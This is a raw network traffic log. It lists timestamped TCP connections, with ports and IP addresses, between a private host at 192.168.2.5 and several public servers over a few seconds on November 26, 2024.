Nov 26, 2024 10:09:18.982367992 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.398215055 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.398247957 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.398403883 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.417064905 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.417088985 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.417213917 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.418112040 CET	49748	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.418148994 CET	443	49748	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.419255972 CET	49748	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.419327974 CET	49749	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.419365883 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.419450045 CET	49749	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.419666052 CET	49748	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.419677973 CET	443	49748	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.419759989 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.419786930 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.419863939 CET	49749	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.419882059 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.423554897 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:09:19.423619986 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:09:19.428392887 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.428405046 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.429485083 CET	49750	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.429500103 CET	443	49750	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.429743052 CET	49750	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.429867983 CET	49750	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:19.429879904 CET	443	49750	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:19.543642998 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.543740988 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.543751001 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.543768883 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.543780088 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.815030098 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:19.815083027 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:19.815156937 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:19.861527920 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:19.861594915 CET	443	49754	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:19.861840010 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:19.933182001 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:19.933250904 CET	443	49754	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:19.933749914 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:19.933773041 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:19.982429028 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.982451916 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.982570887 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:09:19.986345053 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.986501932 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.986546993 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:09:19.994249105 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.994281054 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:19.994369984 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:09:20.002362013 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:20.002429962 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:20.002490997 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:09:20.010456085 CET	443	49703	20.190.147.4	192.168.2.5
Nov 26, 2024 10:09:20.127616882 CET	49703	443	192.168.2.5	20.190.147.4
Nov 26, 2024 10:09:20.967767000 CET	80	49735	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:20.971333981 CET	49735	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:21.205522060 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.205555916 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.212245941 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.213063002 CET	443	49750	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.259968996 CET	49750	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.260009050 CET	443	49750	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.264136076 CET	49750	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.264142990 CET	443	49750	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.264694929 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.264724016 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.265204906 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.265213013 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.265633106 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.265669107 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.266478062 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.266484976 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.266823053 CET	49749	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.266844034 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.267329931 CET	49749	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.267335892 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.267870903 CET	443	49748	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.268384933 CET	49748	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.268404007 CET	443	49748	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.268949032 CET	49748	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.268954039 CET	443	49748	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.656665087 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.656687975 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.656743050 CET	49749	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.656757116 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.656764984 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.656773090 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.656838894 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.656867027 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.656913996 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.657313108 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.657433033 CET	49749	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.657609940 CET	443	49750	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.657664061 CET	443	49750	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.657712936 CET	49750	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.659862041 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.659923077 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.659969091 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.661617041 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.661642075 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.661698103 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.661710978 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.661781073 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.667865038 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.667908907 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.667952061 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.723917007 CET	443	49748	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.723994970 CET	443	49748	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.724056005 CET	49748	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.728652954 CET	443	49754	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.737338066 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.742275000 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:21.742288113 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.742393970 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:21.742419004 CET	443	49754	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.743386984 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.743479013 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:21.743597031 CET	443	49754	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.743669987 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:21.744889021 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:21.744959116 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.745440960 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:21.745448112 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.747675896 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:21.747780085 CET	443	49754	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.775918007 CET	49749	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.775943995 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.775981903 CET	49749	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.775989056 CET	443	49749	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.777936935 CET	49750	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.777964115 CET	443	49750	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.777976990 CET	49750	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.777983904 CET	443	49750	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.779335976 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.779335976 CET	49747	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.779350042 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.779359102 CET	443	49747	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.780401945 CET	49748	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.780410051 CET	443	49748	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.780420065 CET	49748	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.780422926 CET	443	49748	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.781924963 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.781958103 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.781963110 CET	49746	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.781970024 CET	443	49746	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.830672026 CET	49757	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.830718994 CET	443	49757	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.830800056 CET	49757	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.851739883 CET	49757	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.851773977 CET	443	49757	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.895211935 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:21.896711111 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:21.896738052 CET	443	49754	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:21.934951067 CET	49760	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.934992075 CET	443	49760	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.935055971 CET	49760	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.944252014 CET	49761	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.944268942 CET	443	49761	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.944334984 CET	49761	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.966433048 CET	49763	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.966459036 CET	443	49763	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.966522932 CET	49763	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.981530905 CET	49763	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.981543064 CET	443	49763	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.981607914 CET	49760	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.981640100 CET	443	49760	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:21.997750044 CET	49761	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:21.997761011 CET	443	49761	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:22.000418901 CET	49754	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:22.003889084 CET	49735	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:22.004437923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:22.008223057 CET	49767	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:22.008269072 CET	443	49767	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:22.008364916 CET	49767	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:22.008533955 CET	49767	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:22.008547068 CET	443	49767	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:22.126580954 CET	80	49735	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:22.127053976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:22.127123117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:22.134807110 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:22.134864092 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:22.166130066 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:22.166177034 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:22.166253090 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:22.166676998 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:22.166698933 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:22.250880957 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:22.251013994 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:22.251113892 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:22.254766941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:22.254849911 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:22.255084038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:22.255094051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:22.258227110 CET	49753	443	192.168.2.5	94.245.104.56
Nov 26, 2024 10:09:22.258260012 CET	443	49753	94.245.104.56	192.168.2.5
Nov 26, 2024 10:09:23.352744102 CET	49777	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:23.352781057 CET	443	49777	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:23.352859974 CET	49777	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:23.353276968 CET	49778	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:23.353322029 CET	443	49778	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:23.353775024 CET	49777	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:23.353792906 CET	443	49777	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:23.353809118 CET	49778	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:23.354132891 CET	49778	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:23.354146004 CET	443	49778	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:23.403604984 CET	49779	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:23.403661966 CET	443	49779	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:23.403892994 CET	49779	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:23.404702902 CET	49779	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:23.404719114 CET	443	49779	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:23.636728048 CET	443	49757	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.713749886 CET	49757	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.718245983 CET	443	49763	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.809765100 CET	49757	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.809797049 CET	443	49757	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.810353994 CET	49757	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.810359955 CET	443	49757	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.810731888 CET	49763	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.810755968 CET	443	49763	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.811124086 CET	49763	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.811130047 CET	443	49763	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.845660925 CET	443	49760	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.850356102 CET	443	49761	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.850621939 CET	49760	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.850636005 CET	443	49760	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.851310968 CET	49760	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.851320982 CET	443	49760	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.852020979 CET	49761	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.852058887 CET	443	49761	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.853286982 CET	49761	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.853307009 CET	443	49761	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.855561972 CET	443	49767	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.859971046 CET	49767	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.859996080 CET	443	49767	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.864768028 CET	49767	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:23.864777088 CET	443	49767	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:23.968242884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:23.968317032 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:24.115678072 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.134968996 CET	49780	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.135023117 CET	443	49780	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.135102034 CET	49780	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.135304928 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.135323048 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.135819912 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.135833979 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.135891914 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.135905981 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.135950089 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.136574984 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.137008905 CET	443	49757	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.137073994 CET	443	49757	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.137140036 CET	49757	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.147202015 CET	49780	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.147217035 CET	443	49780	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.149816990 CET	49781	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.149862051 CET	443	49781	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.149945974 CET	49781	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.150146008 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.150259972 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.150412083 CET	49781	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.150428057 CET	443	49781	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.150449038 CET	49757	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.150449038 CET	49757	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.150468111 CET	443	49757	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.150476933 CET	443	49757	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.150839090 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.150846958 CET	443	49768	142.250.181.65	192.168.2.5
Nov 26, 2024 10:09:24.155910015 CET	443	49763	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.155975103 CET	443	49763	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.156038046 CET	49763	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.156124115 CET	49763	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.156140089 CET	443	49763	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.157922983 CET	49782	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.157948017 CET	443	49782	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.158025980 CET	49782	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.158857107 CET	49782	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.158869982 CET	443	49782	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.162950993 CET	49783	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.162991047 CET	443	49783	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.163049936 CET	49783	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.163201094 CET	49783	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.163217068 CET	443	49783	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.203603029 CET	49768	443	192.168.2.5	142.250.181.65
Nov 26, 2024 10:09:24.218509912 CET	49784	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.218537092 CET	443	49784	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.218595982 CET	49784	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.219794989 CET	49784	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.219805002 CET	443	49784	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.299563885 CET	443	49760	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.299695015 CET	443	49760	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.299751997 CET	49760	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.300086975 CET	49760	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.300106049 CET	443	49760	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.300116062 CET	49760	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.300122976 CET	443	49760	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.303729057 CET	49785	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.303754091 CET	443	49785	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.303834915 CET	49785	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.303989887 CET	443	49761	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.304040909 CET	49785	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.304055929 CET	443	49785	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.304073095 CET	443	49761	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.304127932 CET	49761	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.304339886 CET	49761	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.304339886 CET	49761	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.304368019 CET	443	49761	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.304378033 CET	443	49761	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.306670904 CET	49786	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.306699991 CET	443	49786	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.306777000 CET	49786	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.307044983 CET	49786	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.307058096 CET	443	49786	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.453984022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:24.657326937 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:24.657427073 CET	443	49767	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.657514095 CET	443	49767	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.657609940 CET	49767	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.658699989 CET	49767	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.658699989 CET	49767	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:24.658730984 CET	443	49767	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.658745050 CET	443	49767	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:24.665299892 CET	443	49777	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.665386915 CET	443	49778	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.672815084 CET	443	49779	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.680257082 CET	49778	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.680263996 CET	443	49778	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.680428982 CET	49777	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.680444002 CET	443	49777	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.681245089 CET	49779	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:24.681262016 CET	443	49779	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:24.681647062 CET	443	49778	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.681731939 CET	49778	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.682836056 CET	49777	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.683022976 CET	49781	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:24.683743000 CET	443	49777	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:24.683803082 CET	49777	443	192.168.2.5	172.64.41.3
